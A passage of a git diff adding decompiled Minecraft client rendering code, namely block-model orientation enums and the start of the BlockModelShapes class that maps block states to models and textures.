+    UP("UP", 1, "UP", 1, new EnumFacing[] { EnumFacing.EAST, EnumFacing.WEST, EnumFacing.NORTH, EnumFacing.SOUTH }, 1.0F, true, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.SOUTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.SOUTH }), 
+    NORTH("NORTH", 2, "NORTH", 2, new EnumFacing[] { EnumFacing.UP, EnumFacing.DOWN, EnumFacing.EAST, EnumFacing.WEST }, 0.8F, true, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_WEST }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_EAST }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_EAST }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_WEST }), 
+    SOUTH("SOUTH", 3, "SOUTH", 3, new EnumFacing[] { EnumFacing.WEST, EnumFacing.EAST, EnumFacing.DOWN, EnumFacing.UP }, 0.8F, true, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.WEST }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_WEST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.WEST, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.WEST }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.EAST }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_EAST, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.EAST, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.EAST }), 
+    WEST("WEST", 4, "WEST", 4, new EnumFacing[] { EnumFacing.UP, EnumFacing.DOWN, EnumFacing.NORTH, EnumFacing.SOUTH }, 0.6F, true, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.SOUTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.SOUTH }), 
+    EAST("EAST", 5, "EAST", 5, new EnumFacing[] { EnumFacing.DOWN, EnumFacing.UP, EnumFacing.NORTH, EnumFacing.SOUTH }, 0.6F, true, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.SOUTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.FLIP_DOWN, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.DOWN, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.NORTH, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_NORTH, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.NORTH }, new BlockModelRenderer.Orientation[] { BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.SOUTH, BlockModelRenderer.Orientation.FLIP_UP, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.FLIP_SOUTH, BlockModelRenderer.Orientation.UP, BlockModelRenderer.Orientation.SOUTH });
+    
+    protected final EnumFacing[] field_178276_g;
+    protected final float field_178288_h;
+    protected final boolean field_178289_i;
+    protected final BlockModelRenderer.Orientation[] field_178286_j;
+    protected final BlockModelRenderer.Orientation[] field_178287_k;
+    protected final BlockModelRenderer.Orientation[] field_178284_l;
+    protected final BlockModelRenderer.Orientation[] field_178285_m;
+    private static final EnumNeighborInfo[] field_178282_n;
+    private static final EnumNeighborInfo[] $VALUES;
+    private static final String __OBFID = "CL_00002516";
+    
+    private EnumNeighborInfo(String p_i46381_1_, int p_i46381_2_, String p_i46236_1_, int p_i46236_2_, EnumFacing[] p_i46236_3_, float p_i46236_4_, boolean p_i46236_5_, BlockModelRenderer.Orientation[] p_i46236_6_, BlockModelRenderer.Orientation[] p_i46236_7_, BlockModelRenderer.Orientation[] p_i46236_8_, BlockModelRenderer.Orientation[] p_i46236_9_)
+    {
+      field_178276_g = p_i46236_3_;
+      field_178288_h = p_i46236_4_;
+      field_178289_i = p_i46236_5_;
+      field_178286_j = p_i46236_6_;
+      field_178287_k = p_i46236_7_;
+      field_178284_l = p_i46236_8_;
+      field_178285_m = p_i46236_9_;
+    }
+    
+    public static EnumNeighborInfo func_178273_a(EnumFacing p_178273_0_)
+    {
+      return field_178282_n[p_178273_0_.getIndex()];
+    }
+    
+    static
+    {
+      field_178282_n = new EnumNeighborInfo[6];
+      $VALUES = new EnumNeighborInfo[] { DOWN, UP, NORTH, SOUTH, WEST, EAST };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      field_178282_n[EnumFacing.DOWN.getIndex()] = DOWN;
+      field_178282_n[EnumFacing.UP.getIndex()] = UP;
+      field_178282_n[EnumFacing.NORTH.getIndex()] = NORTH;
+      field_178282_n[EnumFacing.SOUTH.getIndex()] = SOUTH;
+      field_178282_n[EnumFacing.WEST.getIndex()] = WEST;
+      field_178282_n[EnumFacing.EAST.getIndex()] = EAST;
+    }
+  }
+  
+  public static enum Orientation
+  {
+    DOWN("DOWN", 0, "DOWN", 0, EnumFacing.DOWN, false), 
+    UP("UP", 1, "UP", 1, EnumFacing.UP, false), 
+    NORTH("NORTH", 2, "NORTH", 2, EnumFacing.NORTH, false), 
+    SOUTH("SOUTH", 3, "SOUTH", 3, EnumFacing.SOUTH, false), 
+    WEST("WEST", 4, "WEST", 4, EnumFacing.WEST, false), 
+    EAST("EAST", 5, "EAST", 5, EnumFacing.EAST, false), 
+    FLIP_DOWN("FLIP_DOWN", 6, "FLIP_DOWN", 6, EnumFacing.DOWN, true), 
+    FLIP_UP("FLIP_UP", 7, "FLIP_UP", 7, EnumFacing.UP, true), 
+    FLIP_NORTH("FLIP_NORTH", 8, "FLIP_NORTH", 8, EnumFacing.NORTH, true), 
+    FLIP_SOUTH("FLIP_SOUTH", 9, "FLIP_SOUTH", 9, EnumFacing.SOUTH, true), 
+    FLIP_WEST("FLIP_WEST", 10, "FLIP_WEST", 10, EnumFacing.WEST, true), 
+    FLIP_EAST("FLIP_EAST", 11, "FLIP_EAST", 11, EnumFacing.EAST, true);
+    
+    protected final int field_178229_m; private static final Orientation[] $VALUES = { DOWN, UP, NORTH, SOUTH, WEST, EAST, FLIP_DOWN, FLIP_UP, FLIP_NORTH, FLIP_SOUTH, FLIP_WEST, FLIP_EAST };
+    private static final String __OBFID = "CL_00002513";
+    
+    private Orientation(String p_i46383_1_, int p_i46383_2_, String p_i46233_1_, int p_i46233_2_, EnumFacing p_i46233_3_, boolean p_i46233_4_)
+    {
+      field_178229_m = (p_i46233_3_.getIndex() + (p_i46233_4_ ? EnumFacing.values().length : 0));
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_178290_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002517";
+    
+    static
+    {
+      try
+      {
+        field_178290_a[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178290_a[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178290_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178290_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178290_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_178290_a[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+
+    SwitchEnumFacing() {}
+  }
+  
+  static enum VertexTranslations
+  {
+    DOWN("DOWN", 0, "DOWN", 0, 0, 1, 2, 3), 
+    UP("UP", 1, "UP", 1, 2, 3, 0, 1), 
+    NORTH("NORTH", 2, "NORTH", 2, 3, 0, 1, 2), 
+    SOUTH("SOUTH", 3, "SOUTH", 3, 0, 1, 2, 3), 
+    WEST("WEST", 4, "WEST", 4, 3, 0, 1, 2), 
+    EAST("EAST", 5, "EAST", 5, 1, 2, 3, 0);
+    
+    private final int field_178191_g;
+    private final int field_178200_h;
+    private final int field_178201_i;
+    private final int field_178198_j;
+    private static final VertexTranslations[] field_178199_k;
+    private static final VertexTranslations[] $VALUES;
+    private static final String __OBFID = "CL_00002514";
+    
+    private VertexTranslations(String p_i46382_1_, int p_i46382_2_, String p_i46234_1_, int p_i46234_2_, int p_i46234_3_, int p_i46234_4_, int p_i46234_5_, int p_i46234_6_)
+    {
+      field_178191_g = p_i46234_3_;
+      field_178200_h = p_i46234_4_;
+      field_178201_i = p_i46234_5_;
+      field_178198_j = p_i46234_6_;
+    }
+    
+    public static VertexTranslations func_178184_a(EnumFacing p_178184_0_)
+    {
+      return field_178199_k[p_178184_0_.getIndex()];
+    }
+    
+    static
+    {
+      field_178199_k = new VertexTranslations[6];
+      $VALUES = new VertexTranslations[] { DOWN, UP, NORTH, SOUTH, WEST, EAST };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      field_178199_k[EnumFacing.DOWN.getIndex()] = DOWN;
+      field_178199_k[EnumFacing.UP.getIndex()] = UP;
+      field_178199_k[EnumFacing.NORTH.getIndex()] = NORTH;
+      field_178199_k[EnumFacing.SOUTH.getIndex()] = SOUTH;
+      field_178199_k[EnumFacing.WEST.getIndex()] = WEST;
+      field_178199_k[EnumFacing.EAST.getIndex()] = EAST;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/BlockModelShapes.java b/src/minecraft/net/minecraft/client/renderer/BlockModelShapes.java
new file mode 100644
index 0000000..f9dd4ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/BlockModelShapes.java
@@ -0,0 +1,379 @@
+package net.minecraft.client.renderer;
+
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockBed;
+import net.minecraft.block.BlockCactus;
+import net.minecraft.block.BlockColored;
+import net.minecraft.block.BlockCommandBlock;
+import net.minecraft.block.BlockDirt;
+import net.minecraft.block.BlockDispenser;
+import net.minecraft.block.BlockDoor;
+import net.minecraft.block.BlockDoublePlant;
+import net.minecraft.block.BlockDropper;
+import net.minecraft.block.BlockFenceGate;
+import net.minecraft.block.BlockFire;
+import net.minecraft.block.BlockFlower;
+import net.minecraft.block.BlockFlowerPot;
+import net.minecraft.block.BlockJukebox;
+import net.minecraft.block.BlockLeaves;
+import net.minecraft.block.BlockNewLeaf;
+import net.minecraft.block.BlockOldLeaf;
+import net.minecraft.block.BlockOldLog;
+import net.minecraft.block.BlockPlanks;
+import net.minecraft.block.BlockPrismarine;
+import net.minecraft.block.BlockQuartz;
+import net.minecraft.block.BlockQuartz.EnumType;
+import net.minecraft.block.BlockRedSandstone;
+import net.minecraft.block.BlockRedstoneWire;
+import net.minecraft.block.BlockReed;
+import net.minecraft.block.BlockSand;
+import net.minecraft.block.BlockSilverfish;
+import net.minecraft.block.BlockStem;
+import net.minecraft.block.BlockStone;
+import net.minecraft.block.BlockStoneBrick;
+import net.minecraft.block.BlockStoneSlab;
+import net.minecraft.block.BlockStoneSlabNew;
+import net.minecraft.block.BlockTNT;
+import net.minecraft.block.BlockTallGrass;
+import net.minecraft.block.BlockTripWire;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.renderer.block.statemap.BlockStateMapper;
+import net.minecraft.client.renderer.block.statemap.IStateMapper;
+import net.minecraft.client.renderer.block.statemap.StateMap.Builder;
+import net.minecraft.client.renderer.block.statemap.StateMapperBase;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+
+public class BlockModelShapes
+{
+  private final Map field_178129_a = Maps.newIdentityHashMap();
+  private final BlockStateMapper blockStateMapper = new BlockStateMapper();
+  private final ModelManager modelManager;
+  private static final String __OBFID = "CL_00002529";
+  
+  public BlockModelShapes(ModelManager p_i46245_1_)
+  {
+    modelManager = p_i46245_1_;
+    func_178119_d();
+  }
+  
+  public BlockStateMapper getBlockStateMapper()
+  {
+    return blockStateMapper;
+  }
+  
+  public net.minecraft.client.renderer.texture.TextureAtlasSprite func_178122_a(IBlockState p_178122_1_)
+  {
+    Block var2 = p_178122_1_.getBlock();
+    IBakedModel var3 = func_178125_b(p_178122_1_);
+    
+    if ((var3 == null) || (var3 == modelManager.getMissingModel()))
+    {
+      if ((var2 == Blocks.wall_sign) || (var2 == Blocks.standing_sign) || (var2 == Blocks.chest) || (var2 == Blocks.trapped_chest) || (var2 == Blocks.standing_banner) || (var2 == Blocks.wall_banner))
+      {
+        return modelManager.func_174952_b().getAtlasSprite("minecraft:blocks/planks_oak");
+      }
+      
+      if (var2 == Blocks.ender_chest)
+      {
+        return modelManager.func_174952_b().getAtlasSprite("minecraft:blocks/obsidian");
+      }
+      
+      if ((var2 == Blocks.flowing_lava) || (var2 == Blocks.lava))
+      {
+        return modelManager.func_174952_b().getAtlasSprite("minecraft:blocks/lava_still");
+      }
+      
+      if ((var2 == Blocks.flowing_water) || (var2 == Blocks.water))
+      {
+        return modelManager.func_174952_b().getAtlasSprite("minecraft:blocks/water_still");
+      }
+      
+      if (var2 == Blocks.skull)
+      {
+        return modelManager.func_174952_b().getAtlasSprite("minecraft:blocks/soul_sand");
+      }
+      
+      if (var2 == Blocks.barrier)
+      {
+        return modelManager.func_174952_b().getAtlasSprite("minecraft:items/barrier");
+      }
+    }
+    
+    if (var3 == null)
+    {
+      var3 = modelManager.getMissingModel();
+    }
+    
+    return var3.getTexture();
+  }
+  
+  public IBakedModel func_178125_b(IBlockState p_178125_1_)
+  {
+    IBakedModel var2 = (IBakedModel)field_178129_a.get(p_178125_1_);
+    
+    if (var2 == null)
+    {
+      var2 = modelManager.getMissingModel();
+    }
+    
+    return var2;
+  }
+  
+  public ModelManager func_178126_b()
+  {
+    return modelManager;
+  }
+  
+  public void func_178124_c()
+  {
+    field_178129_a.clear();
+    Iterator var1 = blockStateMapper.func_178446_a().entrySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      Map.Entry var2 = (Map.Entry)var1.next();
+      field_178129_a.put(var2.getKey(), modelManager.getModel((ModelResourceLocation)var2.getValue()));
+    }
+  }
+  
+  public void func_178121_a(Block p_178121_1_, IStateMapper p_178121_2_)
+  {
+    blockStateMapper.func_178447_a(p_178121_1_, p_178121_2_);
+  }
+  
+  public void func_178123_a(Block... p_178123_1_)
+  {
+    blockStateMapper.registerBuiltInBlocks(p_178123_1_);
+  }
+  
+  private void func_178119_d()
+  {
+    func_178123_a(new Block[] { Blocks.air, Blocks.flowing_water, Blocks.water, Blocks.flowing_lava, Blocks.lava, Blocks.piston_extension, Blocks.chest, Blocks.ender_chest, Blocks.trapped_chest, Blocks.standing_sign, Blocks.skull, Blocks.end_portal, Blocks.barrier, Blocks.wall_sign, Blocks.wall_banner, Blocks.standing_banner });
+    func_178121_a(Blocks.stone, new StateMap.Builder().func_178440_a(BlockStone.VARIANT_PROP).build());
+    func_178121_a(Blocks.prismarine, new StateMap.Builder().func_178440_a(BlockPrismarine.VARIANTS).build());
+    func_178121_a(Blocks.leaves, new StateMap.Builder().func_178440_a(BlockOldLeaf.VARIANT_PROP).func_178439_a("_leaves").func_178442_a(new IProperty[] { BlockLeaves.field_176236_b, BlockLeaves.field_176237_a }).build());
+    func_178121_a(Blocks.leaves2, new StateMap.Builder().func_178440_a(BlockNewLeaf.field_176240_P).func_178439_a("_leaves").func_178442_a(new IProperty[] { BlockLeaves.field_176236_b, BlockLeaves.field_176237_a }).build());
+    func_178121_a(Blocks.cactus, new StateMap.Builder().func_178442_a(new IProperty[] { BlockCactus.AGE_PROP }).build());
+    func_178121_a(Blocks.reeds, new StateMap.Builder().func_178442_a(new IProperty[] { BlockReed.field_176355_a }).build());
+    func_178121_a(Blocks.jukebox, new StateMap.Builder().func_178442_a(new IProperty[] { BlockJukebox.HAS_RECORD }).build());
+    func_178121_a(Blocks.command_block, new StateMap.Builder().func_178442_a(new IProperty[] { BlockCommandBlock.TRIGGERED_PROP }).build());
+    func_178121_a(Blocks.cobblestone_wall, new StateMap.Builder().func_178440_a(net.minecraft.block.BlockWall.field_176255_P).func_178439_a("_wall").build());
+    func_178121_a(Blocks.double_plant, new StateMap.Builder().func_178440_a(BlockDoublePlant.VARIANT_PROP).build());
+    func_178121_a(Blocks.oak_fence_gate, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFenceGate.field_176465_b }).build());
+    func_178121_a(Blocks.spruce_fence_gate, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFenceGate.field_176465_b }).build());
+    func_178121_a(Blocks.birch_fence_gate, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFenceGate.field_176465_b }).build());
+    func_178121_a(Blocks.jungle_fence_gate, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFenceGate.field_176465_b }).build());
+    func_178121_a(Blocks.dark_oak_fence_gate, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFenceGate.field_176465_b }).build());
+    func_178121_a(Blocks.acacia_fence_gate, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFenceGate.field_176465_b }).build());
+    func_178121_a(Blocks.tripwire, new StateMap.Builder().func_178442_a(new IProperty[] { BlockTripWire.field_176295_N, BlockTripWire.field_176293_a }).build());
+    func_178121_a(Blocks.double_wooden_slab, new StateMap.Builder().func_178440_a(BlockPlanks.VARIANT_PROP).func_178439_a("_double_slab").build());
+    func_178121_a(Blocks.wooden_slab, new StateMap.Builder().func_178440_a(BlockPlanks.VARIANT_PROP).func_178439_a("_slab").build());
+    func_178121_a(Blocks.tnt, new StateMap.Builder().func_178442_a(new IProperty[] { BlockTNT.field_176246_a }).build());
+    func_178121_a(Blocks.fire, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFire.field_176543_a }).build());
+    func_178121_a(Blocks.redstone_wire, new StateMap.Builder().func_178442_a(new IProperty[] { BlockRedstoneWire.POWER }).build());
+    func_178121_a(Blocks.oak_door, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDoor.POWERED_PROP }).build());
+    func_178121_a(Blocks.spruce_door, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDoor.POWERED_PROP }).build());
+    func_178121_a(Blocks.birch_door, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDoor.POWERED_PROP }).build());
+    func_178121_a(Blocks.jungle_door, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDoor.POWERED_PROP }).build());
+    func_178121_a(Blocks.acacia_door, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDoor.POWERED_PROP }).build());
+    func_178121_a(Blocks.dark_oak_door, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDoor.POWERED_PROP }).build());
+    func_178121_a(Blocks.iron_door, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDoor.POWERED_PROP }).build());
+    func_178121_a(Blocks.wool, new StateMap.Builder().func_178440_a(BlockColored.COLOR).func_178439_a("_wool").build());
+    func_178121_a(Blocks.carpet, new StateMap.Builder().func_178440_a(BlockColored.COLOR).func_178439_a("_carpet").build());
+    func_178121_a(Blocks.stained_hardened_clay, new StateMap.Builder().func_178440_a(BlockColored.COLOR).func_178439_a("_stained_hardened_clay").build());
+    func_178121_a(Blocks.stained_glass_pane, new StateMap.Builder().func_178440_a(BlockColored.COLOR).func_178439_a("_stained_glass_pane").build());
+    func_178121_a(Blocks.stained_glass, new StateMap.Builder().func_178440_a(BlockColored.COLOR).func_178439_a("_stained_glass").build());
+    func_178121_a(Blocks.sandstone, new StateMap.Builder().func_178440_a(net.minecraft.block.BlockSandStone.field_176297_a).build());
+    func_178121_a(Blocks.red_sandstone, new StateMap.Builder().func_178440_a(BlockRedSandstone.TYPE).build());
+    func_178121_a(Blocks.tallgrass, new StateMap.Builder().func_178440_a(BlockTallGrass.field_176497_a).build());
+    func_178121_a(Blocks.bed, new StateMap.Builder().func_178442_a(new IProperty[] { BlockBed.OCCUPIED_PROP }).build());
+    func_178121_a(Blocks.yellow_flower, new StateMap.Builder().func_178440_a(Blocks.yellow_flower.func_176494_l()).build());
+    func_178121_a(Blocks.red_flower, new StateMap.Builder().func_178440_a(Blocks.red_flower.func_176494_l()).build());
+    func_178121_a(Blocks.stone_slab, new StateMap.Builder().func_178440_a(BlockStoneSlab.field_176556_M).func_178439_a("_slab").build());
+    func_178121_a(Blocks.stone_slab2, new StateMap.Builder().func_178440_a(BlockStoneSlabNew.field_176559_M).func_178439_a("_slab").build());
+    func_178121_a(Blocks.monster_egg, new StateMap.Builder().func_178440_a(BlockSilverfish.VARIANT_PROP).func_178439_a("_monster_egg").build());
+    func_178121_a(Blocks.stonebrick, new StateMap.Builder().func_178440_a(BlockStoneBrick.VARIANT_PROP).build());
+    func_178121_a(Blocks.dispenser, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDispenser.TRIGGERED }).build());
+    func_178121_a(Blocks.dropper, new StateMap.Builder().func_178442_a(new IProperty[] { BlockDropper.TRIGGERED }).build());
+    func_178121_a(Blocks.log, new StateMap.Builder().func_178440_a(BlockOldLog.VARIANT_PROP).func_178439_a("_log").build());
+    func_178121_a(Blocks.log2, new StateMap.Builder().func_178440_a(net.minecraft.block.BlockNewLog.field_176300_b).func_178439_a("_log").build());
+    func_178121_a(Blocks.planks, new StateMap.Builder().func_178440_a(BlockPlanks.VARIANT_PROP).func_178439_a("_planks").build());
+    func_178121_a(Blocks.sapling, new StateMap.Builder().func_178440_a(net.minecraft.block.BlockSapling.TYPE_PROP).func_178439_a("_sapling").build());
+    func_178121_a(Blocks.sand, new StateMap.Builder().func_178440_a(BlockSand.VARIANT_PROP).build());
+    func_178121_a(Blocks.hopper, new StateMap.Builder().func_178442_a(new IProperty[] { net.minecraft.block.BlockHopper.field_176429_b }).build());
+    func_178121_a(Blocks.flower_pot, new StateMap.Builder().func_178442_a(new IProperty[] { BlockFlowerPot.field_176444_a }).build());
+    func_178121_a(Blocks.quartz_block, new StateMapperBase()
+    {
+      private static final String __OBFID = "CL_00002528";
+      
+      protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_) {
+        BlockQuartz.EnumType var2 = (BlockQuartz.EnumType)p_178132_1_.getValue(BlockQuartz.VARIANT_PROP);
+        
+        switch (BlockModelShapes.SwitchEnumType.field_178257_a[var2.ordinal()])
+        {
+        case 1: 
+        default: 
+          return new ModelResourceLocation("quartz_block", "normal");
+        
+        case 2: 
+          return new ModelResourceLocation("chiseled_quartz_block", "normal");
+        
+        case 3: 
+          return new ModelResourceLocation("quartz_column", "axis=y");
+        
+        case 4: 
+          return new ModelResourceLocation("quartz_column", "axis=x");
+        }
+        
+        return new ModelResourceLocation("quartz_column", "axis=z");
+      }
+      
+    });
+    func_178121_a(Blocks.deadbush, new StateMapperBase()
+    {
+      private static final String __OBFID = "CL_00002527";
+      
+      protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_) {
+        return new ModelResourceLocation("dead_bush", "normal");
+      }
+    });
+    func_178121_a(Blocks.pumpkin_stem, new StateMapperBase()
+    {
+      private static final String __OBFID = "CL_00002526";
+      
+      protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_) {
+        LinkedHashMap var2 = Maps.newLinkedHashMap(p_178132_1_.getProperties());
+        
+        if (p_178132_1_.getValue(BlockStem.FACING_PROP) != EnumFacing.UP)
+        {
+          var2.remove(BlockStem.AGE_PROP);
+        }
+        
